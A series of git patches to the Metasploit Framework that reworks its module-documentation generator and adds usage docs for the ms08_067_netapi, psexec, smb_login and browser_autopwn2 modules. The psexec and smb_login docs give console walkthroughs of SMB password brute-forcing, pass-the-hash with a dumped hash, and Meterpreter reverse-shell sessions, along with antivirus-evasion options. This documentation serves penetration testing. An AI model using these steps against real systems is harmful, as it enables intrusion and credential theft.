b/lib/msf/util/document_generator/pull_request_finder.rb @@ -76,7 +76,12 @@ module Msf # @raise [PullRequestFinder::Exception] No commits found. # @return [Array] def get_commits_from_file(path) - commits = git_client.commits(repository, branch, path: path) + begin + commits = git_client.commits(repository, branch, path: path) + rescue Faraday::ConnectionFailed + raise PullRequestFinder::Exception, 'No network connection to Github.' + end + if commits.empty? # Possibly the path is wrong. raise PullRequestFinder::Exception, 'No commits found.' From 4c58b67e3731690cb0fb9bbddd2cc4b048c91da5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 24 Feb 2016 19:09:35 -0600 Subject: [PATCH 29/96] Update browser_autopwn2.md --- documentation/modules/auxiliary/server/browser_autopwn2.md | 1 + 1 file changed, 1 insertion(+) diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md index 1c6eda26f3..38f1731b30 100644 --- a/documentation/modules/auxiliary/server/browser_autopwn2.md +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -137,6 +137,7 @@ resource scripts that can automatically do this: * bap_firefox_only.rc - For testing Firefox * bap_flash_only.rc - Fore testing Adobe Flash * bap_ie_only.rc - For testing Internet Explorer +* bap_dryrun_only.rc - Rickrolls the target, and shows you all the suitable exploits against that target. No exploits will actually be fired. Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities: From 95a9f42996dbbbe6f760ef005e56992cadef6cbd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 24 Feb 2016 19:28:17 -0600 Subject: [PATCH 30/96] Add a template for future module documentation --- data/markdown_doc/module_doc_template.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 data/markdown_doc/module_doc_template.md diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md new file mode 100644 index 0000000000..551302e48c --- /dev/null +++ b/data/markdown_doc/module_doc_template.md @@ -0,0 +1 @@ +You can use this as a template for module documentation. \ No newline at end of file From 6060c7b09bdb6f022a3cc9a115b78752de8a692f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 14:15:54 -0600 Subject: [PATCH 31/96] We make this pretty --- data/markdown_doc/default_template.erb | 27 +++++++++++++----------- data/markdown_doc/markdown.css | 29 +++++++++++++++----------- 2 files changed, 32 insertions(+), 24 deletions(-) diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb index e1f3e38e50..8941608034 100644 --- a/data/markdown_doc/default_template.erb +++ b/data/markdown_doc/default_template.erb @@ -1,6 +1,7 @@ ## <%= items[:mod_name] %> - +

      <%= normalize_description(items[:mod_description]) %> +

      ## Module Name @@ -10,6 +11,15 @@ <%= normalize_authors(items[:mod_authors]) %> +<% unless items[:mod_platforms].empty? %> +## Platforms +<%= normalize_platforms(items[:mod_platforms]) %> +<% end %> + +## Reliability + +<%= normalize_rank(items[:mod_rank]) %> + ## Related Pull Requests <%= normalize_pull_requests(items[:mod_pull_requests]) %> @@ -27,18 +37,11 @@ <% end %> -<% unless items[:mod_platforms].empty? %> -## Platforms -<%= normalize_platforms(items[:mod_platforms]) %> -<% end %> - -## Reliability - -<%= normalize_rank(items[:mod_rank]) %> - -<% unless normalize_options(items[:mod_options]).empty? %> -## Mandatory Options +## Required Options +<% if normalize_options(items[:mod_options]).empty? %> +No options required. +<% else %> <%= normalize_options(items[:mod_options]) %> <% end %> diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css index d5323c73bb..034ba8cca5 100644 --- a/data/markdown_doc/markdown.css +++ b/data/markdown_doc/markdown.css @@ -4,14 +4,14 @@ h3, h4, h5, h6, -p, +p, blockquote { margin: 0; padding: 0; } body { - font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; - font-size: 13px; + font-family: Arial, "Helvetica Neue", Helvetica, "Hiragino Sans GB", sans-serif; + font-size: 16px; line-height: 18px; color: #737373; margin: 10px 13px 10px 13px; @@ -27,7 +27,7 @@ a img { border: none; } p { - margin-bottom: 9px; + margin-bottom: 16px; } h1, h2, @@ -44,18 +44,23 @@ h1 { } h2 { font-size: 24px; + margin-bottom: 16px; } h3 { font-size: 18px; + margin-bottom: 16px; } h4 { font-size: 16px; + margin-bottom: 16px; } h5 { - font-size: 14px; + font-size: 16px; + margin-bottom: 16px; } h6 { font-size: 13px; + margin-bottom: 16px; } hr { margin: 0 0 19px; @@ -76,7 +81,7 @@ blockquote:before { color:#eee; } blockquote p { - font-size: 14px; + font-size: 16px; font-weight: 300; line-height: 18px; margin-bottom: 0; @@ -89,17 +94,17 @@ code { background-color: #fee9cc; color: rgba(0, 0, 0, 0.75); padding: 1px 3px; - font-size: 12px; + font-size: 13px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } pre { display: block; - padding: 14px; + padding: 16px; margin: 0 0 18px; line-height: 16px; - font-size: 11px; + font-size: 13px; border: 1px solid #d9d9d9; white-space: pre-wrap; word-wrap: break-word; @@ -107,7 +112,7 @@ pre { pre code { background-color: #fff; color:#737373; - font-size: 11px; + font-size: 13px; padding: 0; } @media screen and (min-width: 768px) { @@ -118,7 +123,7 @@ pre code { } #overview_info_button { font-family:Arial, sans-serif; - font-size:12px; + font-size:16px; padding:10px 5px; border-style:solid; border-width:1px; @@ -127,7 +132,7 @@ pre code { } #knowledge_base_button { font-family:Arial, sans-serif; - font-size:12px; + font-size:16px; padding:10px 5px; border-style:solid; border-width:1px; From e40f1e69db7252ecdee3d15aff54b30f20ae1b32 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 14:18:24 -0600 Subject: [PATCH 32/96] Update default template --- data/markdown_doc/module_doc_template.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md index 551302e48c..25ec732640 100644 --- a/data/markdown_doc/module_doc_template.md +++ b/data/markdown_doc/module_doc_template.md @@ -1 +1,9 @@ -You can use this as a template for module documentation. \ No newline at end of file +## Vulnerable Application + +## Verification Steps + +## Options + +## Scenarios + + **Demo 1** From 1c53e53d23b16244d6065c8b551efcc27416c6f1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 14:24:24 -0600 Subject: [PATCH 33/96] More info about how to write the doc --- data/markdown_doc/module_doc_template.md | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md index 25ec732640..806b99bc5b 100644 --- a/data/markdown_doc/module_doc_template.md +++ b/data/markdown_doc/module_doc_template.md @@ -1,9 +1,27 @@ ## Vulnerable Application + Instructions to get the vulnerable application. + ## Verification Steps + Example steps in this format: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use [module path]``` + 4. Do: ```run``` + 5. You should get a shell. + ## Options + **Option name** + + Talk about what it does, and how to use it appropriately. + ## Scenarios - **Demo 1** + Specific demo of using the module: + + ``` + code or console output + ``` From 250ce6fb175df5cdcba454a2f5b51b1474fd571f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 14:30:12 -0600 Subject: [PATCH 34/96] lets be clear --- data/markdown_doc/module_doc_template.md | 4 ++++ .../modules/auxiliary/server/browser_autopwn2.md | 11 +++++++++++ 2 files changed, 15 insertions(+) diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md index 806b99bc5b..bcb3f8c8d4 100644 --- a/data/markdown_doc/module_doc_template.md +++ b/data/markdown_doc/module_doc_template.md @@ -1,3 +1,7 @@ +The following is the recommended format for module documentation. +But feel free to add more content/sections to this. + + ## Vulnerable Application Instructions to get the vulnerable application. diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md index 38f1731b30..d18ce43889 100644 --- a/documentation/modules/auxiliary/server/browser_autopwn2.md +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -1,6 +1,17 @@ Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and feel different for you. Here are the features you should know about before using. +## Vulnerable Applications + +Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as: + +* Internet Explorer +* Mozilla Firefox +* Adobe Flash +* Java +* ActiveX +* Silverlight + ## Exploit URLs Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL From ed0dfa572580b2dc160b2a27ba67b0a3cb432627 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 14:35:07 -0600 Subject: [PATCH 35/96] basic usage --- data/markdown_doc/default_template.erb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb index 8941608034..a771f07991 100644 --- a/data/markdown_doc/default_template.erb +++ b/data/markdown_doc/default_template.erb @@ -45,6 +45,6 @@ No options required. <%= normalize_options(items[:mod_options]) %> <% end %> -## Demo +## Basic Usage <%= normalize_demo_output(items[:mod_demo]) %> \ No newline at end of file From fd8e3e719dadfbe67c561427b20ba19df24f8bb9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 Feb 2016 14:43:53 -0600 Subject: [PATCH 36/96] real demo --- data/markdown_doc/module_doc_template.md | 10 ++++++++++ .../modules/auxiliary/server/browser_autopwn2.md | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md index bcb3f8c8d4..acc95041fd 100644 --- a/data/markdown_doc/module_doc_template.md +++ b/data/markdown_doc/module_doc_template.md @@ -29,3 +29,13 @@ But feel free to add more content/sections to this. ``` code or console output ``` + + For example: + + To do this specific thing, here's how you do it: + + ``` + msf > use module_name + msf auxiliary(module_name) > set POWERLEVEL >9000 + msf auxiliary(module_name) > exploit + ``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md index d18ce43889..c09b71ff47 100644 --- a/documentation/modules/auxiliary/server/browser_autopwn2.md +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -135,7 +135,7 @@ Here's an example of setting it to 5 seconds: set ExploitReloadTimeout 5000 ``` -## Application-Specific Testing +## Scenarios By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to From 552f2a148ba4f858528b21d8d3f35f0ef0cfd58a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 1 Mar 2016 15:09:30 -0600 Subject: [PATCH 37/96] Add documentation for ms08_067_netapi --- .../exploit/windows/smb/ms08_067_netapi.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 documentation/modules/exploit/windows/smb/ms08_067_netapi.md diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md new file mode 100644 index 0000000000..196ffa9e57 --- /dev/null +++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md @@ -0,0 +1,59 @@ +ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is +considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows +privilege. In modern day penetration test, this exploit would most likely be used in an internal +environment, and not so much from external due to the likelihood of a firewall. + +The check command ms08_067_netapi is also highly accurate, because it is actually testing the +vulnerable code path, not just passively. + + +## Vulnerable Application + +This exploit works against a vulnerable SMB service from one of these Windows systems: + +* Windows 2000 +* Windows XP +* Windows 2003 + +To reliability determine whether the machine is vulnerable, you will have to either examine +the system's patch level, or use a vulnerability check. + +## Verification Steps + +Please see Basic Usage under Overview. + +## Options + +Please see Required Options under Overview. + +## Scenarios + +**Failure to detect the language pack** + +On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this +message: + + +> Windows 2003 R2 Service Pack 2 - lang:Unknown + + +This is because the targeted system does not allow itself to be enumerated without authentication. +In this case, either you can set the username and password to be able to use automatic detection, +like this: + +``` +set SMBUSER [username] +set SMBPASS [password] +``` + +Or you must manually set the target with the correct language, for example: + +``` +set target [target ID] +``` + +**Unsafe configuration of LHOST** + +Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own +denial-of-service moments. One scenario is when the LHOST option is incorrectly configured, +which could result the SMB to crash. From 99d593e9a0003609bbbfafdc6e3274573aa8e4e1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 1 Mar 2016 15:11:29 -0600 Subject: [PATCH 38/96] missing an of --- documentation/modules/exploit/windows/smb/ms08_067_netapi.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md index 196ffa9e57..6af5b746ad 100644 --- a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md +++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md @@ -3,7 +3,7 @@ considered a reliable exploit, and allows you to gain access as SYSTEM - the hig privilege. In modern day penetration test, this exploit would most likely be used in an internal environment, and not so much from external due to the likelihood of a firewall. -The check command ms08_067_netapi is also highly accurate, because it is actually testing the +The check command of ms08_067_netapi is also highly accurate, because it is actually testing the vulnerable code path, not just passively. From f27d24fd60499a0945bddf6e7e58fc4ed56e7a9b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 1 Mar 2016 18:52:47 -0600 Subject: [PATCH 39/96] Add module documentation for psexec --- .../modules/exploit/windows/smb/psexec.md | 142 ++++++++++++++++++ lib/msf/util/document_generator/normalizer.rb | 6 +- 2 files changed, 147 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/windows/smb/psexec.md diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md new file mode 100644 index 0000000000..68d37649be --- /dev/null +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -0,0 +1,142 @@ +psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test +password security, and demonstrate how a stolen password could lead to a complete compromise of an +entire corporate network. + +The Metasploit Framework actually includes different module types of psexec for different +scenarios. exploit/windows/smb/psexec is the father of them all, and is used the same way +you normally would with any Metasploit exploits. + + +## Vulnerable Application + +To be able to use exploit/windows/smb/psexec, you must meet these requirements: + +1. You have a valid username/password. +2. Firewall allows SMB. +2. The remote Windows machine's network security policy allows it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), it's an indication it doesn't. + +## Verification Steps + +Please see Basic Usage under Overview. + +## Options + +By default, exploit/windows/smb/psexec can be as simple as setting the RHOST option, and ready to +go. But in reality, you will probably need to at least configure: + +**The SMBUser Option** + +A valid Windows username. + +**The SMBPass option** + +This can be either the plain text version, or the Windows hash. + +## Scenarios + +**Typical Usage** + +Password stealing is always the first thing in order to use psexec. How you will be able to do that +really depends on the situation. But one thing for sure, if psexec is possible, so should smb_login. + +The following shows the basic workflow of using both modules and gain access: + +1. use auxiliary/scanner/smb/smb_login (please refer to that module documentation to learn usage) +2. Assuming you have found a good password, use psexec like the following: + +``` +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set RHOST 192.168.1.80 +RHOST => 192.168.1.80 +msf exploit(psexec) > set SMBUser Administrator +SMBUser => Administrator +msf exploit(psexec) > set SMBPass goodpass +SMBPass => goodpass +msf exploit(psexec) > exploit + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] 192.168.1.80:445 - Connecting to the server... +[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'... +[*] 192.168.1.80:445 - Selecting native target +[*] 192.168.1.80:445 - Uploading payload... +[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe... +[+] 192.168.1.80:445 - Service started successfully... +[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600 + +meterpreter > +``` + +**Pass the Hash** + +One common penetration testing scenario with using psexec is that attackers usually begin by +breaking into a box, manage to the dump the hashes, and use some of those hashes to log into +other boxes on the network using psexec. So let's say I'm in that scenario with the following +stolen hash: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +``` + +Without the need to crack the hash, I can simply copy and paste it to the SMBPass option in +psexec, and get a session: + +``` +msf > use exploit/windows/smb/psexec +msf exploit(psexec) > set SMBUser Administrator +SMBUser => Administrator +msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f +SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f +msf exploit(psexec) > set RHOST 192.168.1.80 +RHOST => 192.168.1.80 +msf exploit(psexec) > exploit + +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] 192.168.1.80:445 - Connecting to the server... +[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'... +[*] 192.168.1.80:445 - Selecting native target +[*] 192.168.1.80:445 - Uploading payload... +[*] 192.168.1.80:445 - Created \QpxKDHyG.exe... +[+] 192.168.1.80:445 - Service started successfully... +[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe... +[*] Sending stage (957999 bytes) to 192.168.1.80 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600 + +meterpreter > +``` + +**Automatic Target** + +exploit/windows/smb/psexec comes with multiple targets available, and Automatic is default. What +happens under the hood is if Powershell is detected on the remote machine, it will try Powershell, +otherwise it uses the natvie upload. Each target is explained below. + +**Powershell Target** + +The Powershell target forces the psexec module to run a Powershell command with a payload embedded +in it. Since this approach does not leave anything on disk, this is a very powerful way to evade +antivirus, however, older Windows machines might not support Powershell by default. + +Ideally, you probably want to use the Automatic target setting instead of this since it will check +if Powershell is possible first. + +**Native Upload Target** + +By default, the Native target will attempt to upload the payload (executable) to SYSTEM32, and then +execute it with psexec. This approach is rather reliable, but has a high chance of getting caught +by antivirus on the target. + +**MOF Upload Target** + +The MOF target technically does not use psexec: it does not explicitly tell Windows to execute +anything. All it does is uploading two files: the payload (exe) in SYSTEM32, and a managed object +format file in SYSTEM32\wbem\mof\ directory. When Windows sees the mof file in that directory, it +automatically runs it. Once executed, the code inside the mof file basically tells Windows to +execute our payload in SYSTEM32, and we get a session. + +Although a neat trick, Metasploit's MOF library only works against Windows XP and +Windows Server 2003. And since it does write files to disk, there is also a high chance of getting +caught by antivirus on the target. + diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index fffea0ed53..5292304c5c 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -15,8 +15,12 @@ module Redcarpet def list(content, list_type) if list_type == :unordered && content.scan(/
    • /).flatten.length > 15 %Q|

        #{content}

        | - else + elsif list_type == :unordered %Q|
          #{content}
        | + elsif list_type == :ordered + %Q|
          #{content}
        | + else + content end end From 876a5b55f9dc0de263d863635ecb90424a93afb3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 1 Mar 2016 19:06:40 -0600 Subject: [PATCH 40/96] Update psexec.md --- documentation/modules/exploit/windows/smb/psexec.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index 68d37649be..37f53f53ed 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -116,17 +116,17 @@ otherwise it uses the natvie upload. Each target is explained below. **Powershell Target** The Powershell target forces the psexec module to run a Powershell command with a payload embedded -in it. Since this approach does not leave anything on disk, this is a very powerful way to evade -antivirus, however, older Windows machines might not support Powershell by default. +in it. Since this approach does not leave anything on disk, it is a very powerful way to evade +antivirus. However, older Windows machines might not support Powershell by default. Ideally, you probably want to use the Automatic target setting instead of this since it will check if Powershell is possible first. **Native Upload Target** -By default, the Native target will attempt to upload the payload (executable) to SYSTEM32, and then -execute it with psexec. This approach is rather reliable, but has a high chance of getting caught -by antivirus on the target. +By default, the Native target will attempt to upload the payload (executable) to SYSTEM32 +(modifiable with the SHARE datastore option) , and then execute it with psexec. This approach is +rather reliable, but has a high chance of getting caught by antivirus on the target. **MOF Upload Target** From d4c433e29f2e87d21301d5135d0a539b78f4d11e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 1 Mar 2016 19:29:25 -0600 Subject: [PATCH 41/96] Update psexec.md --- documentation/modules/exploit/windows/smb/psexec.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index 37f53f53ed..7502114d88 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -125,8 +125,11 @@ if Powershell is possible first. **Native Upload Target** By default, the Native target will attempt to upload the payload (executable) to SYSTEM32 -(modifiable with the SHARE datastore option) , and then execute it with psexec. This approach is -rather reliable, but has a high chance of getting caught by antivirus on the target. +(modifiable with the SHARE datastore option) , and then execute it with psexec. + +This approach is rather reliable, but has a high chance of getting caught by antivirus on the +target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template +datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option. **MOF Upload Target** @@ -140,3 +143,7 @@ Although a neat trick, Metasploit's MOF library only works against Windows XP an Windows Server 2003. And since it does write files to disk, there is also a high chance of getting caught by antivirus on the target. +The way to counter antivirus is still the same. You can either use a different template by setting +the EXE::Path and EXE::Template datastore options. Or you can supply your own custom EXE by setting +the EXE::Custom option. + From c8e1396cb45b52fc2f48a075b6cdcc227d94a47b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 1 Mar 2016 22:03:16 -0600 Subject: [PATCH 42/96] Add documentation for smb_login --- .../auxiliary/scanner/smb/smb_login.md | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/smb/smb_login.md diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md new file mode 100644 index 0000000000..41647069f7 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -0,0 +1,119 @@ +The smb_login module is used to brute-force SMB remotely. SMB credentials are extra valuable for +you as an attacker, because they are system credentials, and you can probably reuse some of them +and log into more machines. + +## Vulnerable Application + +To use smb_login, make sure you are able to connect to a SMB service. + +## Verification Steps + +The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB: + +``` +msf > use auxiliary/scanner/smb/smb_login +msf auxiliary(smb_login) > set RHOSTS 192.168.1.80 +RHOSTS => 192.168.1.80 +msf auxiliary(smb_login) > set USER_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt +USER_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt +msf auxiliary(smb_login) > set PASS_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt +PASS_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt +msf auxiliary(smb_login) > run + +[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(smb_login) > +``` + +If you have a database connected, you should also see this credential logged: + +``` +msf auxiliary(smb_login) > creds +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password + +msf auxiliary(smb_login) +``` + +## Options + +By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will +also need to supply user names and passwords. The following options are available to support +different credential formats: + +**The USER_FILE option** + +If you happen to manage all the found user names in a separate file, then this option would be +suitable for that. One per line. + +An example of setting USER_FILE: + +``` +set USER_FILE [path to file] +``` + +**The PASS_FILE option** + +If you happen to manage all the found passwords in a separate file, then this option would be +suitable for that. One per line. + +``` +set PASS_FILE [path to file] +``` + +**The USERPASS_FILE option** + +If each user should be using a specific password in your file, then you can use this option. One +username/password per line: + +``` +set USERPASS_FILE [path to file] +``` + +**The DB_ALL_CREDS option** + +This option allows you to reuse all the user names and passwords collected by the database: + +``` +set DB_ALL_CREDS true +``` + +**The DB_ALL_PASS option** + +This option allows you to reuse all the passwords collected by the database. + +``` +set DB_ALL_PASS true +``` + +**The DB_ALL_USERS option** + +This option allows you to reuse all the user names collected by the database. + +``` +set DB_ALL_USERS true +``` + +**The SMBUser option** + +If you are testing a specific user, use this option. + +``` +set SMBUser [user name] +``` + +**The SMBPass option** + +If you are testing a specific password, use this option. + +``` +set SMBPass [password] +``` + +Note: If an account has been successfully brute-forced, that account will not be tried again. + From e615e1072ecb6d7f0495c0b77daa0b51194428be Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 2 Mar 2016 10:51:45 -0600 Subject: [PATCH 43/96] Update information about SMBv1 --- .../auxiliary/scanner/smb/smb_login.md | 2 +- .../modules/exploit/windows/smb/psexec.md | 57 ++++++++----------- 2 files changed, 26 insertions(+), 33 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md index 41647069f7..e0e9391b68 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_login.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -4,7 +4,7 @@ and log into more machines. ## Vulnerable Application -To use smb_login, make sure you are able to connect to a SMB service. +To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1. ## Verification Steps diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index 7502114d88..4c7a571c08 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -12,37 +12,13 @@ you normally would with any Metasploit exploits. To be able to use exploit/windows/smb/psexec, you must meet these requirements: 1. You have a valid username/password. -2. Firewall allows SMB. -2. The remote Windows machine's network security policy allows it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), it's an indication it doesn't. +2. Firewall allows SMB traffic. +3. Target is using SMBv1. +4. The remote Windows machine's network security policy allows it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), it's an indication it doesn't. ## Verification Steps -Please see Basic Usage under Overview. - -## Options - -By default, exploit/windows/smb/psexec can be as simple as setting the RHOST option, and ready to -go. But in reality, you will probably need to at least configure: - -**The SMBUser Option** - -A valid Windows username. - -**The SMBPass option** - -This can be either the plain text version, or the Windows hash. - -## Scenarios - -**Typical Usage** - -Password stealing is always the first thing in order to use psexec. How you will be able to do that -really depends on the situation. But one thing for sure, if psexec is possible, so should smb_login. - -The following shows the basic workflow of using both modules and gain access: - -1. use auxiliary/scanner/smb/smb_login (please refer to that module documentation to learn usage) -2. Assuming you have found a good password, use psexec like the following: +At the minimum, you should be able use psexec to get a session with a valid credential: ``` msf > use exploit/windows/smb/psexec @@ -68,6 +44,22 @@ msf exploit(psexec) > exploit meterpreter > ``` +## Options + +By default, exploit/windows/smb/psexec can be as simple as setting the RHOST option, and ready to +go. But in reality, you will probably need to at least configure: + +**The SMBUser Option** + +A valid Windows username. + +**The SMBPass option** + +This can be either the plain text version, or the Windows hash. + +## Scenarios + + **Pass the Hash** One common penetration testing scenario with using psexec is that attackers usually begin by @@ -119,13 +111,14 @@ The Powershell target forces the psexec module to run a Powershell command with in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default. -Ideally, you probably want to use the Automatic target setting instead of this since it will check -if Powershell is possible first. +Ideally, you probably want to use the Automatic target setting instead of this. Because the +automatic mode will check if the target supports Powershell or not before it tries, but the +manually set Powershell target won't do that. **Native Upload Target** -By default, the Native target will attempt to upload the payload (executable) to SYSTEM32 -(modifiable with the SHARE datastore option) , and then execute it with psexec. +The Native target will attempt to upload the payload (executable) to SYSTEM32 (modifiable with the +SHARE datastore option) , and then execute it with psexec. This approach is rather reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template From 9f147a54a1782d9bfa7d794b57f935c339913682 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 2 Mar 2016 10:53:13 -0600 Subject: [PATCH 44/96] Update Gemfile for Sawyer (because Octokit needs it) --- Gemfile.lock | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Gemfile.lock b/Gemfile.lock index fa8f08f5bc..05b5ed2ee3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -208,6 +208,9 @@ GEM rspec-support (3.3.0) rubyntlm (0.6.0) rubyzip (1.2.0) + sawyer (0.6.0) + addressable (~> 2.3.5) + faraday (~> 0.8, < 0.10) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) simplecov (0.9.2) @@ -253,3 +256,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.11.2 From eede7c919355fa76717ebd6f269fa16715fa0a87 Mon Sep 17 00:00:00 2001 From: 